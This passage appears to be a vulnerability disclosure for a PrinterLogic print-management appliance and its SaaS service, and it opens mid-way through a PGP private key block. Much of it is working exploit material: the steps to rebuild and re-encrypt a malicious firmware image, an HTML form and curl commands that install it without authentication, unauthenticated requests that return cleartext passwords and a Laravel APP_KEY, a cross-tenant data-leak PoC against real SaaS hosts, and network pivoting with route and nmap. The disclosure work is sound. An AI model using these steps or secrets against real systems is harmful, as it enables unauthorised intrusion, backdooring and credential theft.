guUrZhoJgJoEuEwJ4t02ZitqGat5bv9Ci1WGq5R2KY8YFe0ADeYNKiMN3hcpvCFM
aUwT1HaNmfV2JoxAbj8HVGZYZ5Yrs0wsCz+ZaU3wzmtdpEl54w==
=/L1e
-----END PGP PRIVATE KEY BLOCK-----
kali% echo "From https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_App_Builds.htm" > /dev/null
kali% wget https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.2140/20.0.2140.gpg
--2023-12-26 08:16:04-- https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.2140/20.0.2140.gpg
Resolving appliance-cdn.printercloud.com (appliance-cdn.printercloud.com)... 18.172.21.87, 18.172.21.120, 18.172.21.22, ...
Connecting to appliance-cdn.printercloud.com (appliance-cdn.printercloud.com)|18.172.21.87|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4953834807 (4.6G) [binary/octet-stream]
Saving to: '20.0.2140.gpg'
20.0.2140.gpg 100%[======================================================================================================================>] 4.61G 14.6MB/s in 6m 0s
2023-12-26 08:22:06 (13.1 MB/s) - '20.0.2140.gpg' saved [4953834807/4953834807]
kali% gpg 20.0.2140.gpg
+-------------------------------------------------------------------------------------+
| Please enter the passphrase to unlock the OpenPGP secret key: |
| "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>" |
| 4096-bit RSA key, ID FCF4134A2496B21A, |
| created 2020-01-23 (main key ID 09BD9E367DA10998). |
| |
| |
| Passphrase: 50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4___________________________________ |
| |
| <OK> <Cancel> |
+-------------------------------------------------------------------------------------+
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
"PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
gpg: Signature made Mon Nov 27 18:35:49 2023 EST
gpg: using RSA key 12FAF9092BFFB99A9751B92C890869BDA791E0EA
gpg: issuer "no-reply+virtual-appliance@printerlogic.com"
gpg: Good signature from "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>" [ultimate]
kali% ls -la
total 9672300
drwxr-xr-x 2 user user 4096 Dec 26 08:26 .
drwxr-xr-x 4 user user 4096 Dec 26 08:26 ..
-rw-r--r-- 1 user user 4950580344 Dec 26 08:25 20.0.2140
-rw-r--r-- 1 user user 4953834807 Dec 1 12:33 20.0.2140.gpg
kali% mkdir malicious-image && cd malicious-image && xzcat ../20.0.2140 | tar xvf -
versions.env
images.tar
pi-binaries.tar
kali% cat versions.env
DOCKER_TAG_ADT="v1.0.161"
DOCKER_TAG_DOC="v1.0.176"
DOCKER_TAG_SES="v1.0.176"
DOCKER_TAG_STORAGE="v1.0.382"
DOCKER_TAG_TMS="v1.0.57"
DOCKER_TAG_POSTGRESTDE="15.4.7"
DOCKER_TAG_UNLEASH_VA_GW="1.0.34"
[...]
The files can be edited and the new malicious archive can be generated using this command:
kali% tar cvf - versions.env images.tar pi-binaries.tar | xz - | gpg --encrypt -r no-reply+virtual-appliance@printerlogic.com -> malicious.gpg
versions.env
images.tar
pi-binaries.tar
kali% ls -la malicious.gpg
-rw-r--r-- 1 user user 4521768092 Dec 26 09:46 malicious.gpg
Then, the file can be uploaded using this custom webpage (the address must be adapted to contain the confidential tokens obtained from the /admin/design/management_accountts_pcabout.php
webpage):
Custom HTML webpage to upload a malicious firmware image:
<html>
<head>
</head>
<body>
<form action="http://gw.10.105.0.60/va-api/v1/update/1?sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&timeStamp=2024-01-04%2019:39:13" method="POST" enctype="multipart/form-data">
<input type="file" name="package">
<input type="submit">
</form>
</body>
Custom HTML webpage to upload a malicious firmware image
Upload done through the custom HTML webpage
We can then start the update process using this curl command (using the same signature and same timestamp obtained previously).
Start of the installation process:
kali% curl -X POST -kv 'http://gw.10.105.0.60/va-api/v1/update?version=1&sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&timeStamp=2024-01-04%2019:39:13'
* Host gw.10.105.0.60:80 was resolved.
* IPv6: (none)
* IPv4: 10.105.0.60
* Trying 10.105.0.60:80...
* Connected to gw.10.105.0.60 (10.105.0.60) port 80
> POST /va-api/v1/update?version=1&sign=$2y$10$5kBEYJOxGtR1ydzZRIFYPO9WpXrCs10qUsDv4F7wAEw18kLhqWAau&timeStamp=2024-01-04%2019:39:13 HTTP/1.1
> Host: gw.10.105.0.60
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Access-Control-Allow-Headers: *
< Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
< Access-Control-Allow-Origin: *
< Cache-Control: no-cache, private
< Content-Length: 9
< Content-Type: application/json
< Date: Thu, 04 Jan 2024 19:49:36 GMT
< Server: nginx
<
* Connection #0 to host gw.10.105.0.60 left intact
"Success"
When watching the appliance, we can see that the update process is running and the malicious firmware image is installed:
root@printerlogic:/var/www/efs_storage/.updates# ps -auxww|grep gpg
ubuntu 158698 57.6 0.0 5000 3060 ? DL 19:50 0:15 gpg --pinentry-mode loopback --passphrase-fd 0 --output 1/1.tar.xz --decrypt /var/www/efs_storage/.updates/1.gpg
ubuntu 158725 0.5 0.0 2708 844 ? Ssl 19:50 0:00 gpg-agent --homedir /home/ubuntu/.gnupg --use-standard-socket --daemon
root 163318 0.0 0.0 6608 2264 pts/2 S+ 19:50 0:00 grep --color=auto gpg
An attacker can install backdoor without authentication in a PrinterLogic instance.
An attacker can get Remote Code Execution in a PrinterLogic instance.
The update process is reachable without admin privileges.
It was observed that an attacker can exfiltrate passwords from the appliance by sending specific HTTP requests to the /va-api
API endpoints.
Such APIs are incorrectly protected over the network:
The APP_KEY
variable used for Laravel is leaked and can be used to get Remote Code Execution against the instance of PrinterLogic. Remote Code executions using APP_KEY
is possible (e.g. https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/).
PoC - Extraction of a valid signature without authentication by visiting /admin/design/management_accountts_pcabout.php, without authentication:
kali% curl -kv http://10.105.0.60/admin/design/management_accountts_pcabout.php
* Trying 10.105.0.60:80...
* Connected to 10.105.0.60 (10.105.0.60) port 80
> GET /admin/design/management_accountts_pcabout.php HTTP/1.1
[...]
date='12/13/2023'
updateAvailable=''
apiSign='$2y$10$G6ykZQ5JwnrxCIiGLqEoA.MCQ6AmQAxSfSLk3dlnc5rwYH/o.0/OG'
apiTimeStamp='2023-12-26 13:03:46'
gwUrl='http://gw.10.105.0.60'
[...]
The /va-api/v1/storage/secrets.env
API provides clear-text passwords when using the previously public apiSign
and apiTimeStamp
variables:
Leak of passwords
The /va-api/v1/services
API also provides clear-text passwords.
The APP_KEY
variable is used by Laravel. An attacker knowing this variable can get Remote Code Execution against PrinterLogic:
Leak of passwords
HTTP request disclosing passwords:
GET /va-api/v1/storage/secrets.env?sign=$2y$10$HfXU5jgVFNx2hr6sxK730uvZBi/qEtAmeuHd7IUxFcYmooZryG81O&timeStamp=2023-12-28%2011:32:43 HTTP/1.1 Host: gw.10.105.0.60 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------190670500540510886892839752320 Content-Length: 0 Origin: http://10.105.0.60 Connection: close Referer: http://10.105.0.60/ HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Origin: * Cache-Control: no-cache, private Content-Type: text/plain; charset=utf-8 Date: Thu, 28 Dec 2023 11:36:22 GMT Server: nginx Connection: close Content-Length: 3517 ######### # This file contains configuration variables that may be customized to suit your environment. # Changes to values in this file are monitored for periodic updates and may not be reflected immediately in the product. # Most updates should propagate within several minutes, although it may take up to 30 minutes for changes to be applied. # Rebooting the appliance may also trigger an update. ########## # # * PRINTERCLOUD_DOMAIN (required) # This should be the base domain used to reach your product. For example, if your instance is reached via # "printers.mycompany.com" this value would be "printers.mycompany.com" [...] ########### VALUES DB_DATABASE="app_pi" DB_PASSWORD="xg1o6iReDLcyGIBvZMbr" DB_PORT=3306 DB_USERNAME="admin" PRINTERCLOUD_DOMAIN="10.105.0.60" SAMBA_PASSWORD="6QOjoEKpcWrEJqILbwox"
HTTP request disclosing passwords:
GET /va-api/v1/services?sign=$2y$10$w..pLsnjlsP6bY43oMm/.epXaRjdSA2no7AhfpKkfTcrT4UJDM9bG&timeStamp=2023-12-29%2013:19:41 HTTP/1.1 Host: gw.10.105.0.60 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------17749310539621720221197883675 Content-Length: 0 Origin: http://10.105.0.60 Connection: close Referer: http://10.105.0.60/ HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Origin: * Cache-Control: no-cache, private Content-Length: 684 Content-Type: application/json Date: Fri, 29 Dec 2023 13:20:34 GMT Server: nginx Connection: close [ { "name": "database", "status": "not ready", "properties": { "database": "", "host": "", "password": "", "port": "", "ssl_ca": "false", "ssl_strict": "true", "username": "" } }, { "name": "settings", "status": "not ready", "properties": { "auto_update": "0", "auto_update_schedule": "", "deployment_environment": "prod", "domain": "", "license": "false", "piv_cac": "false", "samba_pass": "", "ssl_cert": "false", "ssl_key": "false", "ssl_terminated": "0" } }, { "name": "migration", "status": "not ready", "properties": { "app_key": "YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf", "database": "", "host": "", "password": "", "port": "", "progress": "pending", "username": "" } }, { "name": "storage", "status": "ready", "properties": { "type": "vdisk", "vdisk_status": "ready" } } ]
Using a shell inside the targeted PrinterLogic instance, we can confirm that the APP_KEY
is valid and is currently being used.
Analysis of the PrinterLogic VA version:
root@printerlogic:/home/debug# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $2 }'); docker exec -it $i env | grep APP_KEY;done
ID
printerlogic/ofn:1.134.7
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/oncp-hold:v1.0.171
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/client:25.1.0.652
printerlogic/va-cdn:0.0.1090
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/sched:1.0.20
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/oncp-ofn:v1.0.16
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/prs:1.0.7
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/cat:1.0.72
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/authn:1.16.0
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/tree:1.0.10
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/printer:v1.1.86
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/pi:5.0.8085-p2
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/client-socket-server:1.0.7
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/identity:v1.0.425
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
APP_KEY_USERS=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/pi:5.0.8085-p2
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/scim:1.0.66
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/gw-api:1.0.61
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/eb:0.0.8
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/tms:v1.0.57
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/va-api:1.1.211
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/adt:v1.0.161
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/users:5.207.3
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/users:5.207.3
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/pi:5.0.8085-p2
APP_KEY=YqFUuJ0wt610pkALBSWBWP3XBjG3mxmf
printerlogic/client-api:1.0.28
[...]
An attacker can get Remote Code Execution in a PrinterLogic instance.
The audited PrinterLogic version is 22.0.893 from December 2023.
The audited host version is 1.0.730.
This PrinterLogic version has been retrieved from https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (OpenBuild 22.0.893: December 1st, 2023).
Checksum of the audited version:
b06c9938b8ec5fd47a41fb7188d8e50fd9bac727a2ac0e84e4719524a124f744 printerinstaller-22.0.893.ova
The solutions use several Docker instances - all the instances have been made up to date, as shown below:
Printerlogic VA version
Printerlogic SaaS version on [redacted].printerlogic10.com
The appliance contains an undocumented user (printerlogic
) with a hardcoded SSH key.
Public SSH key for the printerlogic user:
root@printerlogic:/home/printerlogic# pwd
/home/printerlogic
root@printerlogic:/home/printerlogic# find .
.
./.profile
./.ssh
./.ssh/authorized_keys
./.bashrc
./.bash_logout
root@printerlogic:/home/printerlogic# cat ./.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q== Virtual Appliance Development Key
root@printerlogic:/home/printerlogic#
This account is undocumented. Futhermore, it has root privileges with sudo, without the password being requested:
root@printerlogic:~# grep printerlogic /etc/group
printerlogic_ssh:x:1001:printerlogic
printerlogic:x:1002:
root@printerlogic:~# grep printerlogic /etc/sudoers
%printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
root@printerlogic:~#
An attacker who has the corresponding SSH key will get root access to the appliance.
It was observed that some Docker instances are exposed on the network and the Internet through the gw Docker instance.
Since these instances are directly reachable from the Internet without ACL and without authentication, the resulting attack surface is enormous.
For example, the http://gw.10.105.0.60/meta
URL in the VA version will list the reachable Docker instances.
In the SaaS version, we can list reachable Docker instance by visiting https://gw.app.printercloud10.com/meta
. These Docker instances are reachable through https://gw.app.printercloud10.com/[docker-name]/[apis]
.
https://gw.app.printercloud10.com/meta:
PoC:
GET /meta HTTP/2
Host: gw.app.printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
{
"authn": {
"meta": {
"name": "Authentication Microservice",
"version": "1.21.6",
"releaseDate": "2024-01-03T02:30:59Z"
}
},
"br": {
"meta": {
"name": "Badge Reader Microservice",
"version": "1.0.78",
"releaseDate": "2023-03-13T18:57:29Z"
}
},
"cat": null,
"cl": null,
"cpp-ui": {
"meta": {
"name": "Control Panel Platform UI",
"version": "1.153.102",
"releaseDate": "2023-12-12T19:20:04Z"
}
},
"ebc": {
"meta": {
"name": "External Badge Connector Microservice",
"version": "1.0.34",
"releaseDate": "2021-03-31T21:10:36Z"
}
},
"gw": {
"meta": {
"name": "API Gateway Microservice",
"version": "1.308.3",
"releaseDate": "2023-09-08T21:37:44Z"
}
},
"identity": {
"meta": {
"name": "Identity Microservice",
"version": "v1.0.530",
"releaseDate": ""
}
},
"idpi": {
"meta": {
"name": "IDP Integrations Microservice",
"version": "1.0.8",
"releaseDate": "2023-03-21T22:07:50Z"
}
},
"oidc": null,
"pq": {
"meta": {
"name": "Print Queue Microservice",
"version": "5.0.195",
"releaseDate": "2023-12-22T00:10:15Z"
}
},
"printerinstaller": {
"meta": {
"name": "PrinterInstaller",
"instanceUrl": "http://pi.printercloud:8042",
"siteId": "printerlogic",
"tenantId": "107",
"apiUrl": "https://printerlogic.printercloud10.com",
"agentUrl": "https://agent-api.app.printercloud10.com",
"version": "5.0.8220",
"releaseDate": "2023-12-26T22:52:53Z"
[...]
An attacker can interact with internal Docker instances.
It was observed that the Docker instance used to upload the Windows/MacOS/Linux clients is reachable from the LAN (for PrinterLogic VA) and from the Internet (for the SaaS version).
When analyzing the API of gw.app.printercloud10.com
, it appears that the Windows/Mac clients are managed by the Docker instance printerlogic/agent-api
:
https://gw.app.printercloud10.com/meta
:
GET /meta HTTP/2
Host: gw.app.printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
{
[...]
"printerinstaller": {
"meta": {
"name": "PrinterInstaller",
"instanceUrl": "http://pi.printercloud:8042",
"siteId": "printerlogic",
"tenantId": "107",
"apiUrl": "https://printerlogic.printercloud10.com",
"agentUrl": "https://agent-api.app.printercloud10.com",
"version": "5.0.8220",
"releaseDate": "2023-12-26T22:52:53Z"
}
},
[...]
}
This docker instance also runs inside the VA version:
root@printerlogic:/home/debug# docker ps|grep agent
e540505060c2 printerlogic/agent-api:v1.0.169 "/opt/entrypoint.sh " 2 hours ago Up 2 hours (healthy)
It appears that this Docker instance is used to upload new versions of clients.
Access to https://agent-api.app.printercloud10.com:
kali% curl -kv https://agent-api.app.printercloud10.com/
* Trying 13.55.51.178:443...
* Connected to agent-api.app.printercloud10.com (13.55.51.178) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN: server accepted h2
* Server certificate:
* subject: CN=printercloud10.com
* start date: Dec 21 00:00:00 2023 GMT
* expire date: Jan 18 23:59:59 2025 GMT
* issuer: C=US; O=Amazon; CN=Amazon RSA 2048 M02
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://agent-api.app.printercloud10.com/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: agent-api.app.printercloud10.com]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.4.0]
* [HTTP/2] [1] [accept: */*]
> GET / HTTP/2
> Host: agent-api.app.printercloud10.com
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/2 404
< date: Wed, 03 Jan 2024 11:40:53 GMT
< content-type: text/plain
< content-length: 18
<
* Connection #0 to host agent-api.app.printercloud10.com left intact
404 page not found
kali%
The /opt/api
server running inside the printerlogic/agent-api
Docker instance has the same behavior.
/opt/api
program running inside the printerlogic/agent-api
Docker instance:
root@printerlogic:/home/debug# docker ps | grep agent-api
e540505060c2 printerlogic/agent-api:v1.0.169 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_agent-api.lk6nfgkbi705w15yp8iqshxpz.h05rvwhql4l45y0dykva06t9e
root@printerlogic:/home/debug# docker exec -it e540505060c2 ps -a
PID USER TIME COMMAND
1 root 1:33 /opt/api
6762 root 0:00 ps -a
root@printerlogic:/home/debug# docker inspect --format "{{ .State.Pid }}" e540505060c2
9359
root@printerlogic:/home/debug# nsenter -n -t 9359
root@printerlogic:/home/debug# curl -kv http://127.0.0.1/
* Trying 127.0.0.1:80...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Type: text/plain
< Date: Wed, 03 Jan 2024 11:42:59 GMT
< Content-Length: 18
<
* Connection #0 to host 127.0.0.1 left intact
404 page not found
root@printerlogic:/home/debug#
Due to the lack of time spent for analysis, considering the size of the binary and the complexity of the generated pseudo-code, the API endpoints were not identified but it is very likely that this program supports uploading new clients. The program contains ~ 26,000 functions and since the program uses the Go Gin web framework, it is very hard to track cross-references to interesting functions. This analysis was too time-consuming and was not done in-depth.
Decompilation of /opt/api
An attacker may be able to upload Windows and MacOS clients.
An attacker who can spend enough time will do reverse engineering against this program to find vulnerabilities.
It was observed that the /api-gateway/identity/search-groups
API is insecure - this API will display information about group without authentication.
An attacker can retrieve information for any SaaS customer by specifying a siteID
(extracted from the Host
HTTP header in the HTTP request). For example, for [redacted]:
HTTP request
PoC - the SiteID can be adapted to any target by modifying the Host header:
POST /api-gateway/identity/search-groups HTTP/2
Host: [redacted-target-tenant].printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 44
{"sourceServiceType":"identity","name":""}
And the reply will provide information about the configured groups:
HTTP/2 200 OK
Date: Fri, 22 Dec 2023 07:44:07 GMT
Content-Type: application/json
Cache-Control: no-cache, private
Content-Security-Policy: frame-ancestors 'self'
Server: nginx
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
[
{
"id": "[redacted]",
"sourceServiceType": "azuread",
"sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
"name": "[redacted]",
"description": "",
"email": "",
"domain": "",
"siteId": "[redacted]",
"sourceId": "[redacted]",
"distinguishedName": "",
"createdAt": "2023-03-20 01:18:16",
"updatedAt": "2023-03-20 01:18:16",
"users": [],
"tenantId": 9999,
"detach_users": []
},
{
"id": "[redacted]",
"sourceServiceType": "azuread",
"sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
"name": "[redacted]",
"description": "",
"email": "",
"domain": "",
"siteId": "[redacted]",
"sourceId": "[redacted]",
"distinguishedName": "",
"createdAt": "2023-06-06 01:04:44",
"updatedAt": "2023-06-06 01:04:44",
"users": [],
"tenantId": 9999,
"detach_users": []
},
[...]
{
"id": "[redacted]",
"sourceServiceType": "azuread",
"sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
"name": "[redacted]",
"description": "",
"email": "",
"domain": "",
"siteId": "[redacted]",
"sourceId": "[redacted]",
"distinguishedName": "",
"createdAt": "2023-03-20 01:18:17",
"updatedAt": "2023-03-20 01:18:17",
"users": [],
"tenantId": 9999,
"detach_users": []
},
[...]
The GET request also works:
kali% curl https://[redacted].printercloud10.com/api-gateway/identity/search-groups
[{"id": "[redacted]","sourceServiceType": "azuread","sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa","name": "[redacted]","description": "","email": "","domain": "","siteId": "[redacted]","sourceId": "[redacted]","distinguishedName": "","createdAt": "2023-03-20 01:18:16","updatedAt": "2023-03-20 01:18:16","users": [],"tenantId": 9999,"detach_users": []},id": "[redacted]","sourceServiceType": "azuread","sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa","name": "[redacted]",
A threat actor can retrieve information for any siteID.
It was observed that the installation of the Firefox plugin is done insecurely over HTTP:
https://printerlogic.com/browser-extension/
When analyzing the request, we can confirm that the XPI file is stored insecurely, over HTTP at http://downloads.printerlogic.com/printerlogic_extension-1.0.5.10-an%2Bfx-windows.xpi
:
HTTP request
An attacker can MITM and inject malicious Firefox extensions.
It was observed that the Docker instances are freely reachable over the network due to insecure firewall rules. An attacker can directly interact with internal APIs and bypass any authentication mechanism.
Adding routes, 10.105.0.60 is the PrinterLogic instance:
kali# route add -net 172.17.0.0/24 gw 10.105.0.60
kali# route add -net 172.17.130.0/24 gw 10.105.0.60
kali# route add -net 172.17.1.0/24 gw 10.105.0.60
Scanning IPs to detect Docker instances:
kali$ sudo nmap -sT -v -n -p80 -oG printerlogic-va.grep 172.17.0.0/23
[...]
Nmap scan report for 172.17.0.185
Host is up (0.0020s latency).
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.17.0.186
Host is up (0.0013s latency).
PORT STATE SERVICE
80/tcp closed http
Nmap scan report for 172.17.1.1
Host is up (0.00081s latency).
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.17.1.129
Host is up (0.00087s latency).
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 512 IP addresses (62 hosts up) scanned in 6.63 seconds
Raw packets sent: 3666 (138.648KB) | Rcvd: 89073 (21.482MB)
kali% grep open printerlogic-va.grep
Host: 172.17.0.1 () Ports: 80/open/tcp//http///
Host: 172.17.0.129 () Ports: 80/open/tcp//http///
Host: 172.17.0.130 () Ports: 80/open/tcp//http///
Host: 172.17.0.135 () Ports: 80/open/tcp//http///
Host: 172.17.0.137 () Ports: 80/open/tcp//http///
Host: 172.17.0.138 () Ports: 80/open/tcp//http///
Host: 172.17.0.139 () Ports: 80/open/tcp//http///
Host: 172.17.0.140 () Ports: 80/open/tcp//http///
Host: 172.17.0.141 () Ports: 80/open/tcp//http///
Host: 172.17.0.142 () Ports: 80/open/tcp//http///
Host: 172.17.0.144 () Ports: 80/open/tcp//http///
Host: 172.17.0.145 () Ports: 80/open/tcp//http///
Host: 172.17.0.146 () Ports: 80/open/tcp//http///
Host: 172.17.0.147 () Ports: 80/open/tcp//http///
Host: 172.17.0.149 () Ports: 80/open/tcp//http///
Host: 172.17.0.150 () Ports: 80/open/tcp//http///
Host: 172.17.0.151 () Ports: 80/open/tcp//http///
Host: 172.17.0.152 () Ports: 80/open/tcp//http///
Host: 172.17.0.153 () Ports: 80/open/tcp//http///
Host: 172.17.0.155 () Ports: 80/open/tcp//http///
Host: 172.17.0.157 () Ports: 80/open/tcp//http///
Host: 172.17.0.158 () Ports: 80/open/tcp//http///
Host: 172.17.0.159 () Ports: 80/open/tcp//http///
Host: 172.17.0.160 () Ports: 80/open/tcp//http///
Host: 172.17.0.161 () Ports: 80/open/tcp//http///
Host: 172.17.0.163 () Ports: 80/open/tcp//http///
Host: 172.17.0.164 () Ports: 80/open/tcp//http///
Host: 172.17.0.165 () Ports: 80/open/tcp//http///
Host: 172.17.0.166 () Ports: 80/open/tcp//http///
Host: 172.17.0.167 () Ports: 80/open/tcp//http///
Host: 172.17.0.170 () Ports: 80/open/tcp//http///
Host: 172.17.0.172 () Ports: 80/open/tcp//http///
Host: 172.17.0.173 () Ports: 80/open/tcp//http///
Host: 172.17.0.175 () Ports: 80/open/tcp//http///
Host: 172.17.0.176 () Ports: 80/open/tcp//http///
Host: 172.17.0.177 () Ports: 80/open/tcp//http///
Host: 172.17.0.178 () Ports: 80/open/tcp//http///
Host: 172.17.0.180 () Ports: 80/open/tcp//http///
Host: 172.17.0.181 () Ports: 80/open/tcp//http///
Host: 172.17.0.182 () Ports: 80/open/tcp//http///
Host: 172.17.0.184 () Ports: 80/open/tcp//http///
Host: 172.17.0.185 () Ports: 80/open/tcp//http///
